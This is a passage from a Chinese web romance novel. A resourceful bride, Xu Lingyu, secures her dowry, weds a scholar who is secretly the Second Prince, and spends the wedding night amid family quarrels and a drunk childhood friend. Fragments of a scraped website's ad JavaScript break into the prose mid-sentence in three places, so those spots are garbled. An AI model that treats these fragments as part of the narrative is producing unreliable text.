好些都有使用过的痕迹。 不过韦淑慧气病了,许菱玉没赶尽杀绝,而是睁只眼闭只眼,当着许淳的面,把誊抄的嫁妆单子撕了。 “还是亲爹知道疼女儿,不会克扣女儿应得的嫁妆。”许菱玉先哄了许淳一句,继而话锋一转,“不过,那些都是娘给我的,爹爹您这一份呢?” 许淳为了她嫁妆的事,与韦淑慧起了几番争执,已好几宿没睡好,头昏脑涨。 一时没听懂,他抬起布着红血丝的眼,疑惑问:“什么?” 许菱玉立在书案侧,拿剪刀利落地剪断一截烛芯,烛花跳跃一下,更亮一分的烛光映照着她灵慧的眼,和剪刀锋利的寒刃。 她似乎忘了放下剪刀,就这么握在手里,刀锋合拢,尖端朝着许淳的方向。 “当年阿娘走了以后,爹仍坚决为玉儿改姓,如今到了爹遵照为父的本分,为女儿出一份嫁妆的时候,爹怎么就开始装听不懂了呢?”许菱玉握着剪刀,盯着面色发白的许淳,“要不爹去问问我阿娘?若她说不需要爹再额外出一份,玉儿就不要了。” 听到这里,许淳脸色几乎全然失去血色。 他略显臃肿的身形微微发抖,往后仰去,脊背紧贴椅背,挤得脊梁骨发疼。 看看许菱玉手中泛着寒光的剪刀尖,许淳甚至不确定,她说的去问孟茴,是去孟茴灵位前问,还是去天上问。 “给,爹给。”许淳胡须哆哆嗦嗦,声音有些变调。 许菱玉收起剪刀,笑靥如花,看起来娇俏无害:“爹爹怕什么呢,难道女儿还能弑父?不会的,阿娘又不是爹害死的。” 11. 成亲 许家家底并不丰厚,许淳拿出小一半的家产,为许菱玉又添一份嫁妆,几乎是要了韦淑慧的命。 到出嫁这一日,爆竹阵阵,喜乐盈门,宾客们纷纷展颜道贺。 许淳尚且能端出慈父姿态,韦淑慧却面白如纸,眼神怨毒。 许成琢默默背起许菱玉,小心迈出门槛,朝门外花轿走去。 “阿姐,母亲一时想不通,过几日就消气了,你别放在心上,也别记恨她。”许成琢走得慢,步伐还算稳当,怕被韦氏听见,只敢小声说和。 娘想多留些财物也是为了他,他怎能去伤阿娘的心? 他说了什么,许菱玉根本没听清,心不在焉嗯了一声。 视线被喜帕遮挡,她只能看到迎亲队伍前,妆系红绸的骏马马腹侧男子曲起的长腿。 看不到他身着大红喜服的模样,也不知他此刻视线落在何处,在想什么。 贾秀才生得俊,穿上喜服定然也好看。 不过,许菱玉最好奇的,还是他那样有几分清傲的人,是怎么肯乖乖穿上喜服来迎亲的? 难道被她虚构一桩婚约,骗到手,他就这样认命了? 话本子里,纨绔恶少强娶的小姐,几乎无一例外会逃婚。 这贾秀才倒是没逃。 许菱玉悄然弯唇,听话才好呢,往后省却许多麻烦。 躬身坐进轿子里,许菱玉皙白的双手交叠在大红裙面上,竟也真切地感受到几许喜气。 沐着吉庆的喜乐声,许成琢周身血性兀然活跃起来,隔着尚未放下的轿帘叮嘱:“若那贾秀才敢欺负阿姐,阿姐就派个人来告诉我,我带人去教训他。” 许菱玉端坐喜轿,隔着喜帕,似笑非笑应:“你觉得我像是会被人欺负的样子?” 还真不像。 许成琢被问住了,窘迫地摸摸后脖颈,支支吾吾说不出合适的话。 从小到大一直是他被阿姐揍,整个许家,他最怕的不是爹爹,而是阿姐。 阿娘还说昧下的嫁妆都给他以后娶媳妇用,借他两个胆子,他也不敢跟阿姐抢东西啊! 许成琢讪讪走开,与韦淑慧擦肩而过,微微错愕。 起轿前,韦淑慧狠狠压着花轿前的红木,状似慈母依依不舍,殷殷叮嘱女儿什么。 实际上,韦淑慧压低声音道:“许菱玉,你这小贱骨头,几乎带走许家的一切,什么都不肯给成琢留,你怎么这么狠的心?今日你出嫁,做母亲的没什么可送的,就祝你和你那短命的娘一样,夫妻离心,不得好死。” “啪。”一道响亮的耳光让现场骤然陷入诡异的寂静。 甚至,连韦淑慧都没看到,许菱玉是怎么把手伸出轿帘打的她。 韦淑慧被打蒙了,半晌没反应过来。 直到大红绣百喜图的轿帘内,传来女子柔婉的嗓音:“起轿。” 她韦淑慧在清江县也算有头有脸的人,许菱玉竟然当着宾客的面打她的脸,若就这么算了,让她以后怎么见人?! 韦淑慧肺腑都快气炸了,伸手就要去抓轿子里的人。 可她手还没碰到轿帘,便被许成琢及时抱住,一面往后拖,还一面催促轿夫:“快走,快走。” 寂静的许家门口,喜乐重新奏起来,宾客们鼓掌、欢呼、道喜,仿佛方才什么也没发生过。 韦淑慧本就是拖着病体坚持到现在,看着花轿走远,报仇无望,脸面丢尽,她再撑不下去。 捂着脸,跑回府去。 等许淳安置好宾客,进来看她,韦淑慧挤出眼泪,张嘴欲诉苦,却听到许淳说出和许成琢同样的话:“你是不是说了什么不该说的话?大喜的日子,你说你惹她干什么?” “你的好女儿打了我,还是我的错了?!”韦淑慧声调尖利,睁大眼睛,满脸怒容瞪着许淳,“许淳,那臭丫头的婚事,我样样依了你,你还好意思来怪我,你到底有没有良心!” 大喜的日子,许淳难免触景生情,想起他自己年轻的时候。 当年,他与孟茴的婚事,皆是孟家老爷子出的银钱,办得也是热闹风光。 及至娶韦淑慧,他正因孟茴的死脱了一层皮,勉强保住官职,婚事办得仓促草率。 韦淑慧容貌尚算秀丽,远不及孟茴,可那时候,她温柔解语,处处体贴,他心里舒坦,渐渐便很少再想起孟茴。 而现在呢? 许淳盯着一脸病容,下垂的嘴角狠狠压着怒气的韦淑慧,惊觉对方面目可憎。 若眼前的人是孟茴,哪怕人到中年,也应美若春花秋月。 难得,在女儿成亲这一日,他竟想念起孟茴,甚至涌起几分遗憾。 他脑海中的孟茴已有些模糊,却还是双十年华,最美好的姿容,再看眼前容颜渐老的韦淑慧,更觉粗鄙不堪。 “淑慧,你怎么变成了今天这副模样?简直不可理喻!”许淳说完,拂袖转身,快步走入沉沉夜色。 再说许菱玉,乘坐喜轿来到桂花巷时,时辰尚早。 因贾秀才无父无母,亦无其他亲眷,便省去许多繁文缛节。 前来贺喜的宾客,除了舅舅一家,便是包大娘等左邻右舍,还有几位古道热肠的商贾朋友。 其中多数人,贾秀才并不认识,许菱玉便没拘泥,率性抬手,将红绸绣制的喜帕掀至发顶,准备引着他招呼宾客。 喜帕掀起的一瞬,许菱玉眼皮漫不经心抬起,目光自然地从他一丝不苟窄束的腰间,一路往上掠过,直至他墨描玉镌的眉峰下,那双漆亮的眼。 许菱玉眸光定住,蓦然想起哪本话本里描写的最上等的墨翠。 他的眼睛,比她见过最好的墨翠还好看。 大抵只有话本里那些精妙的言辞,才能准确形容。 色泽如墨翠的瞳仁,配上他的眼型,许菱玉心口似被什么轻轻抓了一下,感受到一种难以言喻的吸引力。 她素来相信自己的眼光,她挑中的夫君,自然不差。 只是,望着眼前穿着合身的艳色喜服的贾秀才,许菱玉仍忍不住在心内暗自得意。 她眼光,真是太太太好了! “阿玉。”舅舅孟近墨唤她,眉心拧出深壑。 没等舅舅开口训话,许菱玉先行侧身,后退一步,与贾秀才并肩而立,温声提点:“秀才,这是舅舅。” 顾清嘉收敛心神,从善如流,微微折腰向孟舅舅施礼:“卿固拜见舅舅。” 舅妈江娴站在孟舅舅身侧,偷偷拧了一下他手臂后侧,示意他说些什么。 孟舅舅眉心拧得更紧。 大喜的日子,论理他不该说什么让许菱玉下不来台的话,可这孩子太不懂 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 得尊敬长辈,若不教训她几句,怎么能压住她的傲气,让她安生做别人媳妇? “阿玉,上次……” “上次舅舅、舅妈亲自挑选的添妆礼,玉儿很喜欢,你们对玉儿真好。”许菱玉状若无意打断舅舅的话。 舅妈眼睛微肿,眼皮下的乌青,拿厚厚的脂粉也没完全遮掩住,许菱玉一见便知她不会老老实实的。 果然,捕捉到她的小动作。 是以,舅舅一开口,许菱玉便心知肚明,舅舅是要为舅妈打抱不平。 江娴几番梦到孟茴掐她脖子,好几宿没睡好,恨不得给许菱玉扎小人,哪会真心实意去挑选什么添妆礼? 那添妆礼是孟千里和他爹一起选的,江娴当甩手掌柜,眼不见为净。 听到许菱玉特意当着众宾客的面提起,陡然觉得面上生光,对许菱玉的气不由消减了些。 “舅妈眼睛怎么有些肿?是不是玉儿要嫁人,您心疼玉儿,没睡好?”许菱玉侧首交待金钿,“记得给舅妈备一碗安神茶。” “谁说不是呢,还是阿玉会体贴人。”江娴不好再发难,连日来的不忿,只能打落牙齿和血吞,还得咬着牙,应景恭贺,“卿固好福气,可一定要待我们阿玉好,否则我和她舅舅都不能轻饶你。” 贾卿固瞥一眼妆容艳丽的许菱玉,只道:“不敢。” 众人说说笑笑,一一见过,宴席便进行了大半。 顾清嘉正被孟舅舅他们拉着说话,忽而听到不远处许菱玉的声音:“都准备好了?” 他手持酒盏,状似不经意侧眸,眼睁睁看着许菱玉和她的丫鬟金钿一前一后走出院门。 “你跟出去瞧瞧。”顾清嘉抽空暗自吩咐长缨。 长缨在人前很是伶俐,笑着招呼宾客,斟酒、传菜,借着打酒的空档,偷溜出来。 听到巷口有动静,似乎围着不少人,他疑惑地循声过去。 走到巷口,看到许菱玉的一瞬间,被眼前的景象惊呆了。 “少奶奶。”长缨唤。 许菱玉一时没反应过来是在叫她,拿起一块刚切好的,肥瘦相间的猪肉,递给排队登记的街坊百姓。 金钿拿胳膊肘抵了抵她,许菱玉才茫然朝巷口望。 见是长缨,她眼睛一亮:“长缨,快来帮忙!” 长缨看着头戴凤冠,身穿红衣,将喜帕随手搁在一旁,立在肉架侧的许菱玉,瞠目结舌。 他们家少奶奶,大喜之日,在巷子口给百姓发猪肉啊? 再想想,他家公子是怎么被少奶奶弄到手的。 长缨很快缓过来,似乎怎么匪夷所思的事,发生在少奶奶身上,都是合情合理。 长缨出去,足有小半个时辰没回来。 顾清嘉纳闷,有心自己出去探探许菱玉的去向,可他被宾客缠着,没能脱身。 院门外传来脚步声,他下意识侧身望去,呼吸一窒。 他的新娘子许菱玉,红衣袖口挽起寸许,头上不仅喜帕没了,连凤冠也不知何时摘掉,一头墨发如云似雾披散肩侧。 也不知做什么去了,雪腻的双颊微微泛红,额角、鼻尖香汗点点,美得惊心动魄,活色生香,乱七八糟。 顾清嘉捏着酒盏的长指略收紧,眼皮跳了跳。 幸好,这不是他真正要娶的正妃。 12. 纵容 酒阑日暮,多数宾客已停箸,闲闲坐在席位上叙话。 还有少数举杯对饮,谈笑风生。 没人注意到许菱玉何时出去过,可她这副模样从外头回来,乍然吸引了不少人的目光。 “阿玉,你一个新娘子,不好好在喜房里待着,出去乱跑什么?”舅舅孟近墨重重放下酒盏,拧眉盯着她,脑门青筋直蹦,“成何体统!” 平日里没见多关心她,训她的时候,舅舅长辈的架子总摆的十足。 虽说想让她嫁回孟家,谋算她和阿娘的嫁妆,都是舅妈在前面动嘴、出力,可许菱玉心里清楚得很,她的好舅舅可一点都不无辜。 比起明着算计的舅妈,许菱玉心里更看不起舅舅这样的伪君子。 毕竟是她大喜的日子,许菱玉面上未露不屑,语气也不顶撞,而是大大方方温声应:“舅舅误会了,玉儿没有出去乱跑,而是出去收贺礼的。” “舅舅若不信,瞧金钿手里拿的是什么?”许菱玉说着,眸光流转,面含喜色,瞥一眼金钿提在手中的竹篮。 顾清嘉的目光已然落在那篮子上,众宾客也好奇地凑上前来看。 篮子是寻常细竹篾编制而成,家家都有,并不起眼。 惹人注意的是,里头横七竖八,堆得冒尖的红丝带,大红丝带上能清晰辨出黑色字迹。 金钿取出一条,将上头“百年好合”的吉祥话,呈在众人眼前。 笑着替小姐解释:“我家小姐自小没娘,多得街坊百姓照拂,想着借今日大喜,散散喜气,回报一二。可院子太小,没法儿把人都请来,便在巷子外设案,分了两头猪肉给街上来往的乡亲。乡亲们热情,说了好些祝福的话回赠,心意都在这里头了。” 金钿将竹篮提高几寸,好让大家看清楚些。 闻言,顾清嘉终于弄清来龙去脉,知道许菱玉为何一副受了累,却一脸欢喜的模样。 众人声声夸赞着许菱玉,顾清嘉唇瓣微动,未语,目光从数不清的红丝带上移开,再度落在许菱玉细细描画过的眉眼。 她发丝微乱,几根细软的发卷曲着贴在颊边、颈侧,仍是乱七八糟的情态,却有种说不出的生动鲜活。 蓦地,顾清嘉脑中浮现出衙门外,墙根下那丛生命力旺盛的春草。 不,她许菱玉不是不起眼的春草,而是自由生长的山花。 众人夸赞的声音此起彼伏,孟舅舅脸上越发挂不住。 “阿玉长大了,进退有度,舅舅很放心,你这里还有许多事要忙呢,舅舅改日再来看你。”孟近墨说完,举步便要离开。 江娴赶忙跟上,孟千里略垂首,也作势跟上。 许菱玉嫣然含笑:“舅舅别着急走啊,玉儿给您也留了一份,算作回礼。” 她话音刚落,长缨便从善如流从木桶中提起一条猪肉,上前一步,递向孟近墨。 孟近墨呆滞,孟千里伸手接过,道了谢。 “阿奶,阿奶,虎子也想吃肉。”虎子拉着包大娘,嗓音稚嫩,逗得大家连连失笑。 许菱玉躬身,想捏捏虎子和大丫的小脸蛋,可她伸出手,才想起手还没细细洗过,又自然收回,笑哄:“小馋嘴,给你们留着呢。” 随即站直身形,笑对众宾客:“今日来的皆是贵客好友,谢礼人人有份,只管找长缨领。小小心意,切莫嫌弃。” 清江县不是顶富裕的大县,遇上丰年,寻常百姓一日才能吃上两餐饱饭,肉荤更是逢年过节才舍得吃。 像孟家那样的,即便吃得起,也会节俭些,不会日日见荤腥。 似包大娘一家,上有老下有小,进项不多的,更不消说。 是以,许菱玉送的答谢礼,虽不算贵重,却是人人会喜欢的实惠东西。 一位穿绛色绸衫的客人朗声道:“好!许小姐果然大方爽快。” 他左右顾视,提议:“我们大家伙儿也不能白得许小姐的东西,不如也和外头的乡亲一样,给许小姐留几个字,恭祝许小姐与秀才郎喜结连理,白首同心!” “小丫头,去备些笔墨来。”有人附和,冲着金钿吩咐。 又有人笑道:“这位仁兄说得在理,只那称呼咱们得改改,往后该叫一声许娘子才是。” 芹姨在灶房里,停下手里的活儿,隔窗望见院中宾主尽欢的热闹喜气,眼睛不由湿润,视线渐渐模糊。 那么点儿大的小姑娘,不知不觉长大,就这么稀里糊涂嫁人了。 不过,阿玉是个心里有成算的,定能过得好,她该高兴才对。 小姐在天上看到,也会高兴的。 芹姨抬起袖口,悄然抹了抹泪,咧咧嘴,将面上伤感之色迅速藏起,出门帮着收拾席面去。 半个时辰后,包大娘帮着收拾好院中桌椅,揣着许菱玉执意塞给她的二十两谢媒礼,扶着门框,走出院门。 长缨、金钿跟在她身后,一个搬桌子,一个搬凳子,将从她家临时借的物件送还。 小院安静下来,耳畔只余细细风声,以及芹姨在灶房添柴烧水的声响。 许菱玉立在玉兰花树下,收回视线,躬身去取脚边竹篮里的红丝带。 刚碰到一根,却被另一只骨节修长的手先行取走。 许菱玉抬眸,终于注意到她身旁的贾秀才。 也是这个时候,才后知后觉想起,这场婚宴过后,留下的,除了一篮子沉甸甸的祝福,还有一位新郎官。 他似乎饮了不少酒,身上散发着往日没有的醇郁酒气,夜色里,一双眼睛显得更为深邃,脸色未红。 “许小姐很喜欢这些礼物?”顾清嘉站直身形,瞥一眼红丝带上的“玉烛调和”四字,轻问。 听到熟悉的称呼,许菱玉感受到他对这婚事一如既往的抗拒,心里反而莫名踏实。 脾气好,还是守礼的本分人。 她忍不住笑着反问:“还叫我许小姐?秀才,叫声娘子听听。” 知道他叫不出来,才格外想逗他。 其实,若让她唤他夫君,或是相公,她也一样叫不出口。 显然贾秀才这老实人,没注意到她的称呼也不合适,面色微僵,显出几分紧张,迟疑地挤出两个字:“阿玉。” “呵呵。”许菱玉轻笑出声。 一把扯走顾清嘉手中的红丝带,许菱玉侧身朝向玉兰花树时,不禁低嗔一句:“呆子。” 呆子?说的是他? 顾清嘉望着正往树枝上系红丝带的姑娘,清晰捕捉到其眼尾眉梢的笑意,他眼底闪过一丝“暂且叫你小人得志”的纵容。 随即,他俯身重新拿起一条丝带,走到许菱玉身侧,将之系到更高一些的树枝上。 玉兰花已凋零大半,枝条上绿叶多过花蕾。 顾清嘉想起太傅讲过的,皇祖父在位时的旧事。 皇祖父即位之初提拔过一位新贵,姓何,后来官至二品,结党营私,贪墨无数。 人都道皇祖父即位后,闭目塞听,不及早年明睿。 哪知,皇祖父晚年,突然着御史台列出何大人二十余宗罪状,抄家灭族,数千万两的金银器物,悉归国库。 内遇灾年,外有强敌之际,皇祖父雷厉风行放粮赈灾、犒赏军士,最终安然度过危机,赢得圣主美名。 先时养虎为祸朝纲,后又杀虎拯救万民,太傅未评其功过。 当时,顾清嘉曾暗暗告诫自己,切不可纵容任何一位奸佞壮大势力,为祸江山。 此刻望着小人得志的许菱玉,顾清嘉没想到,自己会动摇。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>罢了,她毕竟不是能搅乱朝堂的奸佞,唯一能搅乱的是他原先的计划,倒也无伤大雅。 念在她行事爽快的份儿上,且先让让她,由着她猖狂一阵子。 等他办完此间要事,回到京城,再慢慢治她的罪。 红丝带上的吉利话,有的是金钿写的,有的是识得字的乡亲自己写下。 其中不乏有字迹歪斜,甚至写错字的。 顾清嘉拿在手里,微微蹙眉。 许菱玉却不在意,径直接过去,踮起足尖往树枝上绑。 她头发已简单挽成松髻,鬓边簪着一根银质步摇,串着红珊瑚的流苏摇曳着,雪颊胜玉。 “字写错了,心意却是不会错的,何必在意。”许菱玉系好这一根,抬头望望,又侧首看看篮子里,“够不着了,得搭梯子才能。” 许菱玉自己是搬不动的,更舍不得劳动老胳膊老腿的芹姨,抬眸望着贾秀才:“秀才,你去搬来,梯子在后院杂物房,你的寝屋隔壁。” 顾清嘉微怔:“阿玉的意思是,今夜我睡后院厢房?” “怎么?莫非你更喜欢睡杂物房?”许菱玉故意曲解他的意思。 虽然她也知道,没她允许,这呆子不敢冒犯她。 “我,我都听阿玉的。”顾清嘉装作被吓着的模样,狼狈地转过身,快步朝后院走去。 像是生怕许菱玉又改主意,真让他睡杂物房。 许菱玉望着他高大的背影,窃窃忍笑,哪里瞧见顾清嘉转过身去之后的神情? 长缨和金钿回来时,一眼便瞧见顾清嘉单手抓着长木梯,朝玉兰树下走。 金钿还好,只暗暗感叹新姑爷还算勤快。 长缨却是不知受了什么刺激,一个箭步蹦到顾清嘉面前,伸手便去接顾清嘉手里的梯子:“公子,您怎么能干这样的粗活?快放下,让长缨来。” 顾清嘉避开,没让他抢到手。 对此,许菱玉很满意。 “长缨啊,不是我说你,你叫他一声公子,但也须知道,秀才他不是什么贵公子啊,家里就这几个人,谁不干活?哪里容他养尊处优?”许菱玉指指树干一侧,顾清嘉乖乖把长梯靠着她指定的位置放好。 许菱玉仰面笑赞:“秀才,平日里倒没看出来,你一个捏笔杆子的书生,还有把子力气,比那些除了读书,百无一用的文弱书生,强太多了。” 往后家里的粗活、重活,都不必使银子去外头请人干了。 “阿玉谬赞,我也只能帮阿玉做这等小事罢了。”顾清嘉姿态谦逊。 长缨看看许菱玉,再看看自家主子,一脸茫然,主子葫芦里到底卖的什么药? “我,我就是怕活儿都让公子干了,显得我没用,公子赶我走怎么办?”长缨绞尽脑汁,为自己方才的失态找补。 “没事,我看你干活还算勤快伶俐,秀才赶你走,我雇你,也是一样。”许菱玉边忙活,边打趣。 顾清嘉爬上梯子,接过许菱玉递来的红丝带,淡淡吩咐:“愣着做什么?去看看芹姨那边需不需要添柴。” 长缨闻言,立马去墙根下抱起劈好的木柴,进了灶房。 而金钿呢,看看配合很好的一双红衣背影,抿唇一笑,提起水桶打水去。 “为何会想把这些都系到树上?”顾清嘉来清江县时日尚短,倒没听说有这样的新婚习俗。 许菱玉抬手,又递一根丝带给他。 丝带柔软,她嗓音也比平日里柔软:“想让我娘看到这些,知道我过得好。” 许菱玉说着,柔荑不由自主触碰到树干,她掌心贴着粗糙的树皮,轻道:“这棵玉兰树,是我阿娘生前栽种的。” 顾清嘉默然,往树枝上系丝带时,眼神里却多了一丝虔诚与郑重。 13. 陪你 夜风醺然,残月疏星闲照庭院。 玉兰花树本已绿浓花瘦,这会子却被无数飘曳的红丝带,妆点出一派秾艳喜气。 许菱玉抬起手,指尖触碰到低处的丝带。 丝带轻柔曳过她指腹,微痒。 许菱玉唇畔勾着心满意足的浅笑,美目转向贾秀才:“秀才,谢谢你。” 谢谢他脾气好,乖乖配合。 谢谢他当了这场亲事里一件好看的摆设,让她如愿离开许家。 “记得把梯子搬回杂物房,今日辛苦,待会儿我让长缨打些热水去,好生洗漱一番,解解乏。”许菱玉从贾秀才身旁走过时,随口道。 宿在后院厢房,他和长缨夜里有事出去,倒是更方便,顾清嘉默然接受。 他长指一勾,握住木梯两侧,刚要抬起,忽而听见院外巷子里传来一阵杂乱的脚步声,还夹杂着男子的哭喊声。 “阿玉,阿玉。”一声一声,失魂落魄。 声音听起来,有些耳熟。 顾清嘉凝神细思,听见许菱玉低低埋怨:“这个高澍,真会给本小姐找事。” 随即,便见许菱玉捉裙小跑着,打开院门。 顾清嘉松开木梯,迈开长腿,不紧不慢跟在她身后出去。 今日在许家的宾客里,顾清嘉见过高澍。 那人生得结实,人高马大,若是前两年在他麾下,想必是能冲锋陷阵的猛将。 只是,今日高澍在许家,喝得半醉,一双红眼睛死死盯着他,分明当他是势不两立的情敌。 像只被人抢去肉骨头的大犬,随时准备来咬断他脖子。 此刻,高澍抓着酒囊,踉踉跄跄朝他们走过来,身后跟着四五个青壮,要扶他,登时被他甩开,谁也近不得身。 “高澍,闭嘴,你给我进来!”许菱玉快步上前。 纤细柔荑紧紧揪住高澍衣领,感受到他襟前酒渍,一脸嫌弃。 到底没松手,揪着他,把人往院门里扯。 高澍虽喝得酩酊大醉,却还知道生气的许菱玉不能惹。 许菱玉让他闭嘴,他反应一下,听懂了,立马闭上嘴,再激动也忍住。 少女身着红衣,抓着醉酒的高大外男,这样的情景,让顾清嘉心里很不舒服。 即便这荒谬的婚事是许菱玉不折手段而来,即便许菱玉强行嫁他,只是为了避开皇子妃择选,可今日毕竟是他们大喜之日。 在外人眼中,她已然是他的娘子。 明知是洞房花烛夜,高澍偏来闹事,还与他的娘子纠缠,他这个做夫君的若能容忍,颜面何存? “娘子,别脏了手,我来。”顾清嘉身体反应快过脑子。 待他话音落下时,已然握住许菱玉手腕。 掌心隔着她袖口绣金凤的喜服襕边,长指包裹住她细腕,拇指、食指的指尖在她手腕内侧交叠,扣在她腕内的指腹不期然压触到她肌肤。 细滑匀腻,柔软温热,令他掌心莫名发烫。 顾清嘉状似从容,将许菱玉的手从高澍襟前移开。 松开时,从指尖到掌心细细膨胀着蚁噬般的酥麻。 高澍瞪大眼睛,盯着他的手,仿佛他干了什么放肆的,不能容忍的事。 “小白脸,你敢碰她?你竟敢碰她!”高澍暴怒,头发几乎要竖起来。 顾清嘉伸手去抓他手臂,高澍大力挥臂抵挡,却是技不如人,被顾清嘉重重钳制住手臂,径直往院里扯。 “诶?疼,疼,你这蛮夷。”高澍疼得直吆喝,酒也清醒几分。 他深深怀疑,若执意甩开顾清嘉的钳制,定会以他脱臼收场。 许菱玉跟进门,盯着贾秀才的手,眼睛一眨不眨,满是惊喜,语气像是捡到宝:“秀才,你行啊,力气竟然比高澍还大,他可是衙门里力气最大的一个。” 她只顾着让高澍闭嘴,别继续丢人现眼,并未留意到顾清嘉的称呼变化。 “你的夫君,不是百无一用的弱书生。”顾清嘉弯了弯唇。 笑意极清浅,可许菱玉瞧得出,他因这夸赞而愉悦。 啧,原来书呆子喜欢被人夸呀。 高澍喝多酒,胃里正不舒服,听到许菱玉的话,只觉心里更难受了。 “阿玉,我们从小一块儿长大,青梅竹马,你就顾着夸他,不管我的死活,你没良心。”高澍带着哭腔控诉。 顾清嘉见他说哭就要哭出来的样子,不动声色松开手。 别开脸时,眼中毫不掩饰嫌弃。 两年前,他麾下也没有这样没出息的种。 “就该把你丢巷子里。”许菱玉哭笑不得轻斥。 随即,朝着灶房唤:“金钿,煮碗醒酒汤来。” 许菱玉掩袖打了个哈欠,懒得理高澍这醉鬼,把他丢给贾秀才。 她面朝堂屋站着,廊下灯笼光倒映翦瞳中,水光点点,倦色堪怜。 “秀才,你力气大,制得住他,待会儿给他灌下醒酒汤,就让他睡你屋。”瞧见贾秀才俊眉蹙起,许菱玉念在他今日表现不错的份儿上,心一软,又补上一句,“要不把他丢长缨屋去也成。” 听她这么一说,贾秀才的俊眉果然舒展了些。 “阿玉,你不让他睡你屋啊?太好了,我就知道阿玉你嫁他另有隐情,你都没看上我,怎么会看上他这样的小白脸?!”高澍破涕为笑,手里酒囊也不要了,一掌拍在顾清嘉肩头,“兄弟,别难过,今夜我就跟你一屋,咱们化干戈为玉帛,一醉方休。” 他平日里脑子便不算灵光,这会子更傻气。 许菱玉没眼看,索性不管,回屋洗漱去。 后院里,高澍被灌了醒酒汤,跑茅房去吐了两回,话终于少了,在原本给顾清嘉的厢房里,睡得不省人事。 “公子,要不属下还是把高澍背到我屋去吧?”长缨听着高澍响亮的,酒气浓郁的呼噜声,沉声提议。 主子素来是有些洁癖的,从前在军中的时候,条件艰苦,将士们时常席地睡一张大通铺,主子却从没有过。 或是单独扎一营帐,或是抱剑抵树而眠。 让主子与烂醉的高澍待在一屋,少奶奶敢说,长缨哪敢真让主子受这罪? “不必。”顾清嘉走出散着淡淡木质霉味的落地屏风,低声吩咐,“我的那两只箱笼,不必打开了,送到正房廊下,我待会儿过去。” “主子?”长缨疑惑又震惊,“主子的意思是,您要搬到许小姐,啊不,少奶奶屋里去?这……” “你有异议?”顾清嘉斜乜他一眼,目光淡淡,威慑力十足。 长缨头皮发紧,连忙应:“属下不敢!” 继而不敢再耽搁,转身便去搬箱笼。 屋内安静下来,高澍的鼾声便显得更响。 顾清嘉重新回到屋内,将烛台拿近些,居高临下审视高澍,眼神从淡漠转为不屑。 此人着实配不上许菱玉,难怪许菱玉为了躲避择选,要舍近求远,费尽心思嫁给他,也不愿嫁给高澍。 许菱玉那小老虎,伶牙俐齿,胡搅蛮缠,眼光却是不差的。 烛光幽然跳跃,映亮顾清嘉眉眼,他眉峰微挑,耸起他自己也不曾察觉的得色。 不多时,长缨从前院回来。 顾清嘉淡淡吩咐:“夜里警醒些,别让他醉死在这里。” “属下遵命。”长缨躬身抱拳。 顾清嘉举步欲出门。 长缨神情变幻,面露难色,终于咬咬牙开口:“公子,长缨还有一事,不知当不当讲。” “说。”顾清嘉驻足侧眸。 主子的心思比海深,长缨不敢妄加揣测,可主子既主动提出去许小姐屋里,至少说明,主子并不讨厌许小姐,且愿意许小姐靠近。 前者寻常,后者却让足以让人震惊。 琅琊王氏之女,崔相之女,已故魏将军之女,还有好些其他京中贵女,多少名门闺秀想博主子回眸一顾,而不可得。 加上主子暴戾的名声,都道主子是铁石心肠。 长缨以为,他永远看不到二皇子府会有女主子。 没想到,许小姐歪打正着,似乎入了主子的眼。 但也许主子是为了回敬许小姐的手段,也未可知。 长缨 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 猜不到,可他喜欢这小院的自在气儿,不忍它的平静被打破。 再想到许小姐给百姓赠肉,笑着收集红丝带的情景,更是心生恻隐。 同情怜悯,这样的情绪,是不该存在他身上的。 长缨自知有罪,垂首跪地禀:“主子,许小姐看似张扬,实则心善,以属下愚见,并不比京中贵女差,做真正的二皇子妃也使得。属下自知僭越,大逆不道,可还是想恳请主子看在属下忠心耿耿的份上,莫要伤害许小姐。” 屋内陷入寂静,连里间高澍的鼾声似乎也轻了些。 顾清嘉盯着长缨发顶,盯得长缨脊背汗涔涔。 良久,顾清嘉不喜不怒,轻问:“许娘子多少银两收买你的?” “属下万死也不敢背主。”长缨猛地以额顿地,发出重重闷声。 顾清嘉轻笑一声,语气松快了些:“起吧。” 他没说应还是不应,大步流星离去。 长缨望着他背影,直到他走远,才长舒一口气,摸一把额角的汗,站起身。 殊不知,里间“鼾声阵阵”的高澍,脑仁也起了一层汗。 吓的。 二皇子不是在京城等着选皇子妃吗?怎么会出现在他们小小的清江县? 他确定县衙里无人知晓,连他爹都不知道。 那他爹背后的人呢,又知不知道? 高澍第一反应,二皇子是冲着药材失窃案来的。 可他暗暗蛰伏着,不动声色,还莫名其妙成了阿玉的夫君! 阿玉有危险! 他想去救阿玉,可长缨守在屏风外,他根本不敢动。 只要让长缨发现他人醒着,别说救阿玉,他和他爹,还有这院子里的所有人都要完蛋。 他闭着眼,满心焦灼绝望。 前院,许菱玉在盥室浴桶中,泡了足足半个时辰,骨头都要软了。 手臂的酸胀感,减轻大半。 身上再无一丝油腥气,而是香胰子留下的雅香。 金钿帮她擦干身子,穿上合欢红绣芍药肚兜,外头罩一件长及脚踝的素色细绫寝衣,衣带松松系在腰侧。 许菱玉接过棉巾,侧首包住长发,冲金钿道:“忙了一日,你也累了,快去洗洗睡,剩下的我自己来。” 金钿知道自家小姐的性子,也不忸怩,捶了捶后腰:“多谢小姐体恤,我去看看芹姨,就睡了,小姐也早些安寝。” 许菱玉含笑颔首。 关上门扇,她一面拿棉巾擦拭头发,一面朝屋子里头走,经过窗前时,还特意朝院中望一眼。 月光正好,无数红丝带似无数的笑脸,无声祝贺她。 许菱玉浅笑着,绕过精美的喜上梅梢绣屏,脚步陡然一顿,笑意凝滞。 带着浓浓倦色,显得慵懒自在的笑眼,盈满惊诧。 “秀才?你怎么在这里?!” 少女稍稍歪着头,如缎的墨发拢在肩侧,被棉巾包裹住,秀颈显得优雅纤丽。 纤腰曼曼,被烛光镀上一重柔和辉光,美得如珠似玉。 顾清嘉端坐床柱侧,第一次认真端凝她容颜。 蓦地,他忆起长缨的话。 确实,许菱玉之姿容气度,比起京中高门贵女,也不逊色。 不过,在遇上这小老虎之前,他也从未想象过未来正妃什么样,是不是贵女,本就无关紧要。 